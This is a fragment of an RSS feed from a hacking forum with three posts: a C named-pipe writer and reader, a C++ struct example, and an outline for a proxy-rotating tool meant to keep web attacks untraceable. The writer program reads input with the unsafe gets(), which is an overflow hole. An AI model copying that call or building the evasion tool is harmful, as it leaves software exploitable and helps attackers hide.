      <description><![CDATA[write.c<br><div class="PreContainer"><pre><br>//Demonstration of named pipes <br>//Write opens a pipe then it writes into the pipe<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdlib&amp;#46;h&amp;gt;<br>//Pipe call<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;fcntl&amp;#46;h&amp;gt;<br>//mknod call<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;sys/types&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;sys/stat&amp;#46;h&amp;gt;<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> BUFLEN 100<br><br>//Prototypes<br><br>int main (void);<br>void input(char *);<br><br>//Var's<br><br>//Filedescritpor <br>int fdes;<br>int a,i;<br>char *s, buffer&amp;#91;BUFLEN&amp;#93;;<br><br>int main(void)<br>{<br>/*<br>Creates a  FIFO-File with the rights read/write <br>for the user and read for others&amp;#46; <br>*/<br>mknod(\&quot;pipe1\&quot;,S_IFIFO | 0666,0);<br><br>/*<br>Opens a pipe&amp;#46; This process can only write into a pipe&amp;#46; If its opend successfull open() gives the filedescriptor back otherwise -1&amp;#46; <br>*/<br>if((fdes=open(\&quot;pipe1\&quot;,O_WRONLY))==-1){<br>puts(\&quot;Error couldn't open pipe\&quot;);<br>exit(-1);<br>}<br><br>//Writes the buffer into the FIFO file<br>input(buffer);<br>if((i=write(fdes,buffer,BUFLEN)) !=BUFLEN) {<br>printf(\&quot;Error couldn't write\&quot;);<br>exit(-1);<br>}<br><br>//Now we have to close the FIFO File<br>close(fdes);<br>exit(0);<br>}<br><br>//Get input?&amp;#58;0<br>void input(char *buffer)<br>{<br>printf(\&quot;Enter a String(max 100 Chars)&amp;#58;\&quot;);<br>buffer = gets(buffer);<br>}<br></pre></div><br><br><a class="postlink" rel="nofollow" href="http://nopaste.me/paste/17116484874e09e1adbeed2">http://nopaste.me/paste/17116484874e09e1adbeed2</a><br><br><br><div class="PreContainer"><pre><br>//open and reads a pipe <br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdlib&amp;#46;h&amp;gt;<br>//Pipe call<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;fcntl&amp;#46;h&amp;gt;<br>//mknod call<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;sys/types&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;sys/stat&amp;#46;h&amp;gt;<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> BUFLEN 100<br><br>//Protoypes<br>int main(void);<br><br>//Vars<br>int fdes;<br>char buffer&amp;#91;BUFLEN&amp;#93;;<br>char c;<br><br>int main(void)<br>{<br>	//A pipe gets opend in \&quot;read only\&quot; mode&amp;#46; <br>	if((fdes=open(\&quot;pipe1\&quot;,O_RDONLY))==(-1))<br>	{<br>	printf(\&quot;Error couldn't open pipe\&quot;);<br>	exit(-1);<br>	}<br>	read(fdes,buffer,BUFLEN);<br>	puts(buffer);<br>	close(fdes);<br>	exit(0);<br>}<br></pre></div><br><br><a class="postlink" rel="nofollow" href="http://nopaste.me/paste/19938196674e09e1e237ba9">http://nopaste.me/paste/19938196674e09e1e237ba9</a>]]></description>
   </item>
   <item>
      <title>Simple Structure/OOP Example</title>
      <link>http://iexploit.org/index.php?p=/discussion/2822/simple-structureoop-example</link>
      <pubDate>Wed, 22 Jun 2011 00:48:43 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">2822@/index.php?p=/discussions</guid>
      <description><![CDATA[Well I'm back toying with C++ and OOP at the moment so I thought I'd give a little example of some OOP and the use of structures. This program takes user input and attributes it to an object (you) :)<br><br><b>Code:</b><br><div class="PreContainer"><pre><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;iostream&amp;gt;<br><br>// Definition of SELF using a struct<br>struct SELF<br>{<br>    std&amp;#58;&amp;#58;string name;       // name attribute of SELF<br>    char sex&amp;#91;10&amp;#93;;           // sex/gender attribute of SELF<br>    double height;          // height of SELF<br>};<br><br>int main(void)<br>{<br>    using std&amp;#58;&amp;#58;cin;         // using std namespace for<br>    using std&amp;#58;&amp;#58;cout;        // cin, cout<br>    using std&amp;#58;&amp;#58;endl;        // and endline<br><br>    SELF you;               // Define the new object 'you' based on the SELF structure<br><br>    //title<br>    cout &amp;lt;&amp;lt; \&quot;Sh3llc0d3's OOP/Structures Simple Example\&quot;<br>    // Enter first name<br>    cout &amp;lt;&amp;lt; \&quot;Enter your name&amp;#58; \&quot; &amp;lt;&amp;lt; endl;<br>    // your name will now be defined as the 'name' of 'you'<br>    std&amp;#58;&amp;#58;getline(cin,you&amp;#46;name);<br>    // Enter your gender<br>    cout &amp;lt;&amp;lt; \&quot;Enter your gender &amp;#91;male or female&amp;#93;&amp;#58; \&quot; &amp;lt;&amp;lt; endl;<br>    // your gender will now be defined as the 'sex' of 'you'<br>    cin &amp;gt;&amp;gt; you&amp;#46;sex;<br>    // Enter your height<br>    cout &amp;lt;&amp;lt; \&quot;Enter your height in metres&amp;#58; \&quot; &amp;lt;&amp;lt; endl;<br>    // your height will now be defined as the 'height' of 'you'<br>    cin &amp;gt;&amp;gt; you&amp;#46;height;<br><br>    // print the values<br>    cout &amp;lt;&amp;lt; \&quot;Your name is&amp;#58; \&quot; &amp;lt;&amp;lt; you&amp;#46;name &amp;lt;&amp;lt; endl<br>         &amp;lt;&amp;lt; \&quot;Your gender is&amp;#58; \&quot; &amp;lt;&amp;lt; you&amp;#46;sex &amp;lt;&amp;lt; endl<br>         &amp;lt;&amp;lt; \&quot;Your height is&amp;#58; \&quot; &amp;lt;&amp;lt; you&amp;#46;height &amp;lt;&amp;lt; endl;<br><br>    return 0;<br>}</pre></div><br><br><b>Output:</b><br><blockquote class="Quote"><div class="QuoteText">Sh3llc0d3's OOP/Structures Simple Example<br><br>Enter your name:<br>Sh3llc0d3 - iExploit.org<br>Enter your gender [male or female]:<br>male<br>Enter your height in metres:<br>1.80<br><br><br>        Your name is: Sh3llc0d3 - iExploit.org<br>        Your gender is: male<br>        Your height is: 1.8<br><br>Process returned 0 (0x0)   execution time : 28.834 s<br>Press any key to continue.<br></div></blockquote>]]></description>
   </item>
   <item>
      <title>Had an idea</title>
      <link>http://iexploit.org/index.php?p=/discussion/2809/had-an-idea</link>
      <pubDate>Sun, 19 Jun 2011 11:13:09 -0400</pubDate>
      <dc:creator>m0rph</dc:creator>
      <guid isPermaLink="false">2809@/index.php?p=/discussions</guid>
      <description><![CDATA[Largely based off of the movie Untraceable.<br /><br />Proxy switching program (possible firefox add-on for web based attacks).<br /><br />Basically the idea is to have it change to a new proxy every 3 to 4 minutes.<br /><br />The only thing is you won't be able to effectively use reverse shells, however bind shells (should you be lucky enough to spawn one) should be ok to use. <br /><br />Here's the general flow I have for how I think it would work:<br />[list]<br />[*]Function that defines how it will connect and who it will connect to[/*:m]<br />[*]There also needs to be an array to store the addresses of the proxies being used[/*:m]<br />[*]Next the function will randomly select an address from the array and connect to it[/*:m]<br />[*]Some kind of timing needs to be kept in order for it move onto the next proxy (maybe a for loop)[/*:m]<br />[*]Packet time to live needs to be set anywhere from 15 to 25 to make sure that the session is always updated with the newest address<br />at the same time though, if there's more than that amount of hops on the route to the target the packets will be dropped. Keep low TTL in consideration.[/*:m]<br />[*]Once the last connection dies out, the program either then has to reconnect to the first address in the array or learn a new one[/*:m]<br />[*]If a connection to a proxy fails it will have to go to the next proxy in the list, same as previous bullet if it's the last proxy in the array[/*:m][/list:u]<br /><br />The only area that I don't have an idea on how to solve would be grabbing a list of new proxies then adding them to the array (not in the context of having to recompile it or anything like that).<br /><br />I'd like to have this program set up as a cli, with the following information output in a single line:<br /><br />[source address][destination address][destination port][remaining time]<br /><br />Also with screen updates probably every 20 or 30 seconds.<br /><br />Oh btw when I say proxy, I don't mean web-based proxies....I mean tunnel proxies (i.e. SOCKS)<br /><br />Thoughts? Are there other programs that act like this? I've already checked the docs on proxychains and it's not the same thing.]]></description>
   </item>
   </channel>
</rss>